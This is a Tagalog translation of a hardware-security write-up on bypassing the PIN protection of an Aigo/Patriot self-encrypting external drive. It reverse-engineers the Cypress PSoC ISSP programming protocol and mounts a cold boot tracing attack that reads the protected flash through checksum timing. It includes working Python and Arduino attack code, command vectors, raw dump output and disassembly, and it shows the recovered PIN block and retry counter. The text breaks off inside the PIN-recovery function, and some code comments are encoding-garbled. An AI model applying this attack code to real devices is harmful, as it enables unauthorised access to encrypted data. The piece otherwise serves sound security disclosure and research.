Pag-reverse at pag-hack ng Aigo self-encrypting external HDD drive. Bahagi 2: Pagtapon mula sa Cypress PSoC

Ito ang pangalawa at huling bahagi ng artikulo tungkol sa pag-hack ng mga external na self-encrypting drive. Hayaan mong ipaalala ko sa iyo na kamakailan ay dinalhan ako ng isang kasamahan ng isang Patriot (Aigo) SK8671 hard drive, at nagpasya akong i-reverse ito, at ngayon ay ibinabahagi ko kung ano ang lumabas dito. Bago magbasa nang higit pa, siguraduhing basahin unang parte artikulo.

4. Nagsisimula kaming kumuha ng dump mula sa panloob na PSoC flash drive
5. ISSP protocol
– 5.1. Ano ang ISSP
– 5.2. Demystifying Vectors
– 5.3. Komunikasyon sa PSoC
– 5.4. Pagkakakilanlan ng on-chip registers
– 5.5. Mga piraso ng seguridad
6. Unang (nabigong) pag-atake: ROMX
7. Ikalawang Pag-atake: Cold Boot Tracing
– 7.1. Pagpapatupad
– 7.2. Binabasa ang resulta
– 7.3. Flash binary reconstruction
– 7.4. Paghahanap ng PIN code storage address
– 7.5. Ang pagtatapon ng block No. 126
– 7.6. Pagbawi ng PIN code
8. Ano ang susunod?
9. Konklusyon

Pag-reverse at pag-hack ng Aigo self-encrypting external HDD drive. Bahagi 2: Pagtapon mula sa Cypress PSoC


4. Nagsisimula kaming kumuha ng dump mula sa panloob na PSoC flash drive

Kaya, ang lahat ay nagpapahiwatig (tulad ng itinatag namin sa [unang bahagi]()) na ang PIN code ay naka-imbak sa flash depth ng PSoC. Samakatuwid, kailangan nating basahin ang mga flash depth na ito. Harap ng kinakailangang gawain:

  • kontrolin ang "komunikasyon" sa microcontroller;
  • maghanap ng paraan upang suriin kung ang "komunikasyon" na ito ay protektado mula sa pagbabasa mula sa labas;
  • humanap ng paraan para lampasan ang proteksyon.

Mayroong dalawang lugar kung saan makatuwirang maghanap ng wastong PIN code:

  • panloob na memorya ng flash;
  • SRAM, kung saan maiimbak ang pin code upang ihambing ito sa pin code na ipinasok ng user.

Sa hinaharap, mapapansin ko na nagawa ko pa ring itapon ang panloob na PSoC flash drive - pag-bypass sa sistema ng seguridad nito gamit ang pag-atake ng hardware na tinatawag na "cold boot tracing" - pagkatapos na baligtarin ang mga hindi dokumentadong kakayahan ng ISSP protocol. Nagpahintulot ito sa akin na direktang itapon ang aktwal na PIN code.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Panghuling code ng programa:

5. ISSP protocol

5.1. Ano ang ISSP

Ang "komunikasyon" sa isang microcontroller ay maaaring mangahulugan ng iba't ibang bagay: mula sa "nagtitinda hanggang sa nagtitinda" hanggang sa pakikipag-ugnayan gamit ang isang serial protocol (halimbawa, ICSP para sa Microchip's PIC).

Ang Cypress ay may sariling proprietary protocol para dito, na tinatawag na ISSP (in-system serial programming protocol), na bahagyang inilalarawan sa teknikal na detalye. Patent US7185162 nagbibigay din ng ilang impormasyon. Mayroon ding katumbas na OpenSource na tinatawag na HSSP (gagamitin namin ito mamaya). Gumagana ang ISSP tulad ng sumusunod:

  • i-reboot ang PSoC;
  • i-output ang magic number sa serial data pin ng PSoC na ito; upang ipasok ang panlabas na mode ng programming;
  • magpadala ng mga utos, na mga mahabang bit string na tinatawag na "vectors".

Ang dokumentasyon ng ISSP ay tumutukoy sa mga vector na ito para lamang sa isang maliit na dakot ng mga utos:

  • Magsimula-1
  • Magsimula-2
  • Initialize-3 (3V at 5V na mga opsyon)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, kung saan dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaZDDDDDDDDZ1, kung saan DDDDDDDD = data out, aaaaaa = address (6 bits)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kung saan dddddddd = data in, aaaaaa = address (6 bits)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kung saan DDDDDDDDDDDDDDDDDD = data out: device checksum
  • Burahin ang BLOCK

Halimbawa, ang vector para sa Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Ang lahat ng mga vector ay may parehong haba: 22 bits. Ang dokumentasyon ng HSSP ay may ilang karagdagang impormasyon sa ISSP: "Ang ISSP vector ay hindi hihigit sa isang bit sequence na kumakatawan sa isang set ng mga tagubilin."

5.2. Demystifying Vectors

Alamin natin kung ano ang nangyayari dito. Sa una, ipinapalagay ko na ang parehong mga vector na ito ay mga hilaw na bersyon ng mga tagubilin ng M8C, ngunit pagkatapos suriin ang hypothesis na ito, natuklasan ko na ang mga opcode ng mga operasyon ay hindi tumutugma.

Pagkatapos ay nag-google ako sa vector sa itaas at nakita ko ito isang pag-aaral kung saan ang may-akda, bagama't hindi siya nag-detalye, ay nagbibigay ng ilang kapaki-pakinabang na tip: "Ang bawat pagtuturo ay nagsisimula sa tatlong bit na tumutugma sa isa sa apat na mnemonics (basahin mula sa RAM, sumulat sa RAM, magbasa ng rehistro, sumulat ng rehistro). Pagkatapos ay mayroong 8 address bits, na sinusundan ng 8 data bits (read or write) at sa wakas ay tatlong stop bits.

Pagkatapos ay nakakuha ako ng ilang kapaki-pakinabang na impormasyon mula sa seksyong Supervisory ROM (SROM). teknikal na manwal. Ang SROM ay isang hard-coded ROM sa PSoC na nagbibigay ng mga utility function (sa katulad na paraan sa Syscall) para sa program code na tumatakbo sa espasyo ng user:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: I-calibrate0
  • 09h: I-calibrate1

Sa pamamagitan ng paghahambing ng mga pangalan ng vector sa mga function ng SROM, maaari naming imapa ang iba't ibang mga operasyon na sinusuportahan ng protocol na ito sa inaasahang mga parameter ng SROM. Salamat dito, maaari naming i-decode ang unang tatlong piraso ng mga vector ng ISSP:

  • 100 => β€œwrem”
  • 101 => β€œrdmem”
  • 110 => β€œwrreg”
  • 111 => β€œrdreg”

Gayunpaman, ang kumpletong pag-unawa sa mga on-chip na proseso ay maaari lamang makuha sa pamamagitan ng direktang komunikasyon sa PSoC.

5.3. Komunikasyon sa PSoC

Dahil mayroon na si Dirk Petrautsky ported Ang HSSP code ng Cypress sa Arduino, ginamit ko ang Arduino Uno para kumonekta sa ISSP connector ng keyboard board.

Mangyaring tandaan na sa kurso ng aking pananaliksik, binago ko ng kaunti ang code ni Dirk. Mahahanap mo ang aking pagbabago sa GitHub: dito at ang kaukulang script ng Python para sa pakikipag-usap sa Arduino, sa aking repositoryo cypress_psoc_tools.

Kaya, gamit ang Arduino, ginamit ko lang ang "opisyal" na mga vector para sa "komunikasyon". Sinubukan kong basahin ang internal ROM gamit ang VERIFY command. Gaya ng inaasahan, hindi ko ito nagawa. Marahil dahil sa ang katunayan na ang mga read protection bit ay isinaaktibo sa loob ng flash drive.

Pagkatapos ay gumawa ako ng ilan sa aking sariling mga simpleng vector para sa pagsulat at pagbabasa ng memorya/mga rehistro. Mangyaring tandaan na maaari naming basahin ang buong SROM kahit na ang flash drive ay protektado!

5.4. Pagkakakilanlan ng on-chip registers

Matapos tingnan ang mga "disassembled" na vectors, natuklasan ko na ang device ay gumagamit ng mga undocumented registers (0xF8-0xFA) upang tukuyin ang mga M8C opcode na direktang isinasagawa, na lumalampas sa proteksyon. Pinayagan ako nitong magpatakbo ng iba't ibang opcode gaya ng "ADD", "MOV A, X", "PUSH" o "JMP". Salamat sa kanila (sa pamamagitan ng pagtingin sa mga side effect na mayroon sila sa mga rehistro) natukoy ko kung alin sa mga undocumented na rehistro ang talagang mga regular na rehistro (A, X, SP at PC).

Bilang resulta, ang "na-disassemble" na code na nabuo ng HSSP_disas.rb tool ay ganito ang hitsura (nagdagdag ako ng mga komento para sa kalinawan):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс Ρ„Π»Π°Π³ΠΎΠ²
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для SSC
[9F 20 7C] wrmem KEY2, 0x03     # Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... Π΄ΠΎ 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ для Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для Π²Ρ‹Π·ΠΎΠ²Π° SSC
[DE 00 DC] wrreg A (f0), 0x06       # Π½ΠΎΠΌΠ΅Ρ€ "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # НСдокуммСнтированная опСрация: Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ внСшний ΠΎΠΏΠΊΠΎΠ΄

5.5. Mga piraso ng seguridad

Sa yugtong ito maaari na akong makipag-usap sa PSoC, ngunit wala pa rin akong maaasahang impormasyon tungkol sa mga security bit ng flash drive. Ako ay labis na nagulat sa katotohanan na ang Cypress ay hindi nagbibigay sa gumagamit ng aparato ng anumang paraan upang suriin kung ang proteksyon ay isinaaktibo. Naghukay ako ng mas malalim sa Google upang sa wakas ay maunawaan na ang HSSP code na ibinigay ng Cypress ay na-update pagkatapos ilabas ni Dirk ang kanyang pagbabago. At kaya! Ang bagong vector na ito ay lumitaw:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # нСизвСстныС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹
[9F E0 1C] wrmem 0xFF, 0x00 # Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # Π½Π΅Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Gamit ang vector na ito (tingnan ang read_security_data sa psoc.py), nakukuha namin ang lahat ng security bits sa SRAM sa 0x80, kung saan mayroong dalawang bits bawat protektadong bloke.

Ang resulta ay nakapanlulumo: lahat ay protektado sa mode na "huwag paganahin ang panlabas na pagbabasa at pagsusulat". Samakatuwid, hindi lamang tayo makakabasa ng anuman mula sa isang flash drive, ngunit hindi rin tayo makakasulat ng anuman (halimbawa, mag-install ng ROM dumper doon). At ang tanging paraan upang hindi paganahin ang proteksyon ay ganap na burahin ang buong chip. πŸ™

6. Unang (nabigong) pag-atake: ROMX

Gayunpaman, maaari naming subukan ang sumusunod na trick: dahil mayroon kaming kakayahang magsagawa ng mga arbitrary na opcode, bakit hindi isagawa ang ROMX, na ginagamit upang basahin ang flash memory? Ang diskarte na ito ay may magandang pagkakataon ng tagumpay. Dahil ang ReadBlock function na nagbabasa ng data mula sa SROM (na ginagamit ng mga vector) ay nagsusuri kung ito ay tinatawag mula sa ISSP. Gayunpaman, ang ROMX opcode ay maaaring walang ganoong tseke. Kaya narito ang Python code (pagkatapos magdagdag ng ilang mga klase ng helper sa Arduino code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Sa kasamaang palad hindi gumagana ang code na ito. πŸ™ O sa halip ito ay gumagana, ngunit sa output ay makakakuha tayo ng sarili nating mga opcode (0x28 0x30 0x40)! Sa palagay ko ay hindi isang elemento ng proteksyon sa pagbasa ang kaukulang pag-andar ng device. Ito ay mas katulad ng isang engineering trick: kapag nagpapatupad ng mga panlabas na opcode, ang ROM bus ay na-redirect sa isang pansamantalang buffer.

7. Ikalawang Pag-atake: Cold Boot Tracing

Dahil hindi gumana ang ROMX trick, nagsimula akong mag-isip tungkol sa isa pang variation ng trick na ito - inilarawan sa publikasyon "Naglalabas ng sobrang Liwanag sa Proteksyon ng Firmware ng Microcontroller".

7.1. Pagpapatupad

Ang dokumentasyon ng ISSP ay nagbibigay ng sumusunod na vector para sa CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ito ay mahalagang tinatawag na SROM function na 0x07, tulad ng ipinakita sa dokumentasyon (italics mine):

Ang pag-verify ng checksum ng function na ito. Kinakalkula nito ang isang 16-bit na checksum ng bilang ng mga bloke na tinukoy ng user sa isang flash bank, simula sa zero. Ang parameter na BLOCKID ay ginagamit upang ipasa ang bilang ng mga bloke na gagamitin kapag kinakalkula ang checksum. Ang halaga ng "1" ay magko-compute lamang ng checksum para sa block zero; samantalang Ang "0" ay magiging sanhi ng pagkalkula ng kabuuang checksum ng lahat ng 256 na bloke ng flash bank. Ang 16-bit na checksum ay ibinalik sa pamamagitan ng KEY1 at KEY2. Iniimbak ng parameter ng KEY1 ang low-order na 8 bits ng checksum, at iniimbak ng parameter ng KEY2 ang high-order na 8 bits. Para sa mga device na may ilang flash bank, ang checksum function ay tinatawag para sa bawat isa nang hiwalay. Ang numero ng bangko kung saan ito gagana ay itinakda ng rehistro ng FLS_PR1 (sa pamamagitan ng pagtatakda ng bit sa loob nito na tumutugma sa target na flash bank).

Tandaan na ito ay isang simpleng checksum: ang mga byte ay idinaragdag lamang ng isa-isa; walang magarbong CRC quirks. Bilang karagdagan, alam na ang M8C core ay may napakaliit na hanay ng mga rehistro, ipinapalagay ko na kapag kinakalkula ang checksum, ang mga intermediate na halaga ay itatala sa parehong mga variable na sa huli ay mapupunta sa output: KEY1 (0xF8) / KEY2 ( 0xF9).

Kaya sa teorya ang aking pag-atake ay ganito:

  1. Kumokonekta kami sa pamamagitan ng ISSP.
  2. Sinisimulan namin ang pagkalkula ng checksum gamit ang CHECKSUM-SETUP vector.
  3. I-reboot namin ang processor pagkatapos ng isang tinukoy na oras T.
  4. Binabasa namin ang RAM upang makuha ang kasalukuyang checksum C.
  5. Ulitin ang mga hakbang 3 at 4, pagtaas ng T ng kaunti sa bawat pagkakataon.
  6. Binabawi namin ang data mula sa isang flash drive sa pamamagitan ng pagbabawas ng nakaraang checksum C mula sa kasalukuyang.

Gayunpaman, may problema: ang Initialize-1 vector na dapat naming ipadala pagkatapos ng pag-reboot ay nag-o-overwrite sa KEY1 at KEY2:

1100101000000000000000  # Магия, пСрСводящая PSoC Π² Ρ€Π΅ΠΆΠΈΠΌ программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ сумма пСрСзаписываСтся здСсь
[9F 20 7C] wrmem KEY2, 0x03 # и здСсь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ino-overwrite ng code na ito ang ating mahalagang checksum sa pamamagitan ng pagtawag sa Calibrate1 (SROM function 9)... Siguro maaari lang nating ipadala ang magic number (mula sa simula ng code sa itaas) para pumasok sa programming mode, at pagkatapos ay basahin ang SRAM? At oo, ito ay gumagana! Ang Arduino code na nagpapatupad ng pag-atake na ito ay medyo simple:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Basahin ang checkum_delay.
  2. Patakbuhin ang pagkalkula ng checksum (send_checksum_v).
  3. Maghintay para sa isang tinukoy na tagal ng panahon; isinasaalang-alang ang mga sumusunod na pitfalls:
    • Nag-aksaya ako ng maraming oras hanggang sa nalaman ko kung ano ang nangyayari delayMicroseconds gumagana lamang nang tama sa mga pagkaantala na hindi hihigit sa 16383 ΞΌs;
    • at pagkatapos ay muling pinatay ang parehong dami ng oras hanggang sa natuklasan ko na ang delayMicroseconds, kung ang 0 ay ipinasa dito bilang isang input, ay ganap na hindi gumagana nang tama!
  4. I-reboot ang PSoC sa programming mode (ipapadala lang namin ang magic number, nang hindi nagpapadala ng mga initialization vectors).

Panghuling code sa Python:

for delay in range(0, 150000):  # Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π² микросСкундах
    for i in range(0, 10):      # количСство считывания для ΠΊΠ°ΠΆΠ΄ΠΎΠΉΠΈΠ· Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ
        try:
            reset_psoc(quiet=True)  # ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈ Π²Ρ…ΠΎΠ΄ Π² Ρ€Π΅ΠΆΠΈΠΌ программирования
            send_vectors()      # ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠ²
            ser.write("x85"+struct.pack(">I", delay)) # Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ сумму + ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ послС Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ
            res = ser.read(1)       # ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ€Ρ‚
            continue
        print "%05d %02X %02X %02X" % (delay,      # ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ RAM-Π±Π°ΠΉΡ‚Ρ‹
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Sa madaling sabi, kung ano ang ginagawa ng code na ito:

  1. Nire-reboot ang PSoC (at ipinapadala ito ng magic number).
  2. Nagpapadala ng buong mga vector ng initialization.
  3. Tinatawag ang Arduino function na Cmnd_STK_START_CSUM (0x85), kung saan ang pagkaantala sa mga microsecond ay ipinapasa bilang isang parameter.
  4. Binabasa ang checksum (0xF8 at 0xF9) at ang undocumented register na 0xF1.

Ang code na ito ay pinaandar ng 10 beses sa 1 microsecond. Ang 0xF1 ay kasama dito dahil ito lamang ang rehistro na nagbago noong kinakalkula ang checksum. Marahil ito ay isang uri ng pansamantalang variable na ginagamit ng arithmetic logic unit. Pansinin ang pangit na hack na ginagamit ko upang i-reset ang Arduino gamit ang picocom kapag ang Arduino ay huminto sa pagpapakita ng mga palatandaan ng buhay (walang ideya kung bakit).

7.2. Binabasa ang resulta

Ang resulta ng script ng Python ay ganito (pinasimple para sa pagiging madaling mabasa):

DELAY F1 F8 F9  # F1 – Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹ΠΉ нСизвСстный рСгистр
                  # F8 младший Π±Π°ΠΉΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ суммы
                  # F9 ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ сумма сбрасываСтся Π² 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-ΠΉ Π±Π°ΠΉΡ‚: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-ΠΉ Π±Π°ΠΉΡ‚: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия Π½Π΅ имСю, Ρ‡Ρ‚ΠΎ здСсь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Π‘Π½ΠΎΠ²Π° E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Π₯ΠΌΠΌΠΌΠΌΠΌΠΌ
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Π’ΠΎΡ‚ ΠΎΠ½ ΠΆΠ΅ пСрСнос Π² ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚
00063 01 17 01
[...]
00075 CC 17 01  # Π˜Ρ‚Π°ΠΊ, 0x117-0xE7: 0x30

Iyon ay sinabi, mayroon kaming isang problema: dahil kami ay tumatakbo sa isang aktwal na checksum, isang null byte ay hindi nagbabago sa halaga na nabasa. Gayunpaman, dahil ang buong pamamaraan ng pagkalkula (8192 bytes) ay tumatagal ng 0,1478 segundo (na may kaunting mga pagkakaiba-iba sa bawat oras na ito ay tatakbo), na katumbas ng humigit-kumulang 18,04 ΞΌs bawat byte, maaari naming gamitin ang oras na ito upang suriin ang halaga ng checksum sa mga naaangkop na oras. Para sa mga unang pagtakbo, ang lahat ay madaling basahin, dahil ang tagal ng pamamaraan ng pagkalkula ay palaging halos pareho. Gayunpaman, ang pagtatapos ng dump na ito ay hindi gaanong tumpak dahil ang "minor timing deviations" sa bawat run ay nagdaragdag upang maging makabuluhan:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Iyon ay 10 dumps para sa bawat microsecond delay. Ang kabuuang oras ng pagpapatakbo para sa paglalaglag ng lahat ng 8192 bytes ng isang flash drive ay humigit-kumulang 48 oras.

7.3. Flash binary reconstruction

Hindi ko pa nakumpleto ang pagsulat ng code na ganap na muling bubuo ng program code ng flash drive, na isinasaalang-alang ang lahat ng mga paglihis ng oras. Gayunpaman, naibalik ko na ang simula ng code na ito. Upang matiyak na ginawa ko ito nang tama, binuwag ko ito gamit ang m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Mukhang medyo makatwiran!

7.4. Paghahanap ng PIN code storage address

Ngayong nababasa na natin ang checksum sa mga oras na kailangan natin, madali nating masusuri kung paano at saan ito nagbabago kapag tayo ay:

  • ipasok ang maling PIN code;
  • baguhin ang pin code.

Una, para mahanap ang tinatayang storage address, kumuha ako ng checksum dump sa 10 ms increments pagkatapos ng reboot. Pagkatapos ay maling PIN ang inilagay ko at ganoon din ang ginawa ko.

Ang resulta ay hindi masyadong kaaya-aya, dahil maraming pagbabago. Ngunit sa huli ay natukoy ko na ang checksum ay nagbago sa pagitan ng 120000 Β΅s at 140000 Β΅s ng pagkaantala. Ngunit ang "pincode" na ipinakita ko doon ay ganap na mali - dahil sa isang artifact ng delayMicroseconds procedure, na gumagawa ng mga kakaibang bagay kapag ang 0 ay ipinasa dito.

Pagkatapos, pagkatapos gumugol ng halos 3 oras, naalala ko na ang SROM system call na CheckSum ay tumatanggap ng argumento bilang input na tumutukoy sa bilang ng mga block para sa checksum! yun. madali naming ma-localize ang storage address ng PIN code at ang counter ng "maling mga pagtatangka", na may katumpakan na hanggang 64-byte block.

Ang aking mga paunang pagtakbo ay gumawa ng sumusunod na resulta:

Pag-reverse at pag-hack ng Aigo self-encrypting external HDD drive. Bahagi 2: Pagtapon mula sa Cypress PSoC

Pagkatapos ay binago ko ang PIN code mula sa "123456" patungong "1234567" at nakuha ko:

Pag-reverse at pag-hack ng Aigo self-encrypting external HDD drive. Bahagi 2: Pagtapon mula sa Cypress PSoC

Kaya, ang PIN code at ang counter ng mga maling pagtatangka ay tila nakaimbak sa block No. 126.

7.5. Ang pagtatapon ng block No. 126

Ang block #126 ay dapat na matatagpuan sa isang lugar sa paligid ng 125x64x18 = 144000ΞΌs, mula sa simula ng pagkalkula ng checksum, sa aking buong dump, at mukhang medyo makatwiran. Pagkatapos, pagkatapos ng manu-manong pag-filter ng maraming di-wastong dump (dahil sa akumulasyon ng "minor timing deviations"), nakuha ko ang mga byte na ito (sa latency na 145527 ΞΌs):

Pag-reverse at pag-hack ng Aigo self-encrypting external HDD drive. Bahagi 2: Pagtapon mula sa Cypress PSoC

Ito ay lubos na halata na ang PIN code ay naka-imbak sa hindi naka-encrypt na form! Ang mga halagang ito, siyempre, ay hindi nakasulat sa mga ASCII code, ngunit sa paglabas nito, ipinapakita nila ang mga pagbabasa na kinuha mula sa capacitive keyboard.

Sa wakas, nagpatakbo ako ng ilang higit pang mga pagsubok upang mahanap kung saan naka-imbak ang bad attempt counter. Narito ang resulta:

Pag-reverse at pag-hack ng Aigo self-encrypting external HDD drive. Bahagi 2: Pagtapon mula sa Cypress PSoC

0xFF - nangangahulugang "15 na pagtatangka" at bumababa ito sa bawat nabigong pagtatangka.

7.6. Pagbawi ng PIN code

Narito ang aking pangit na code na pinagsama ang nasa itaas:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
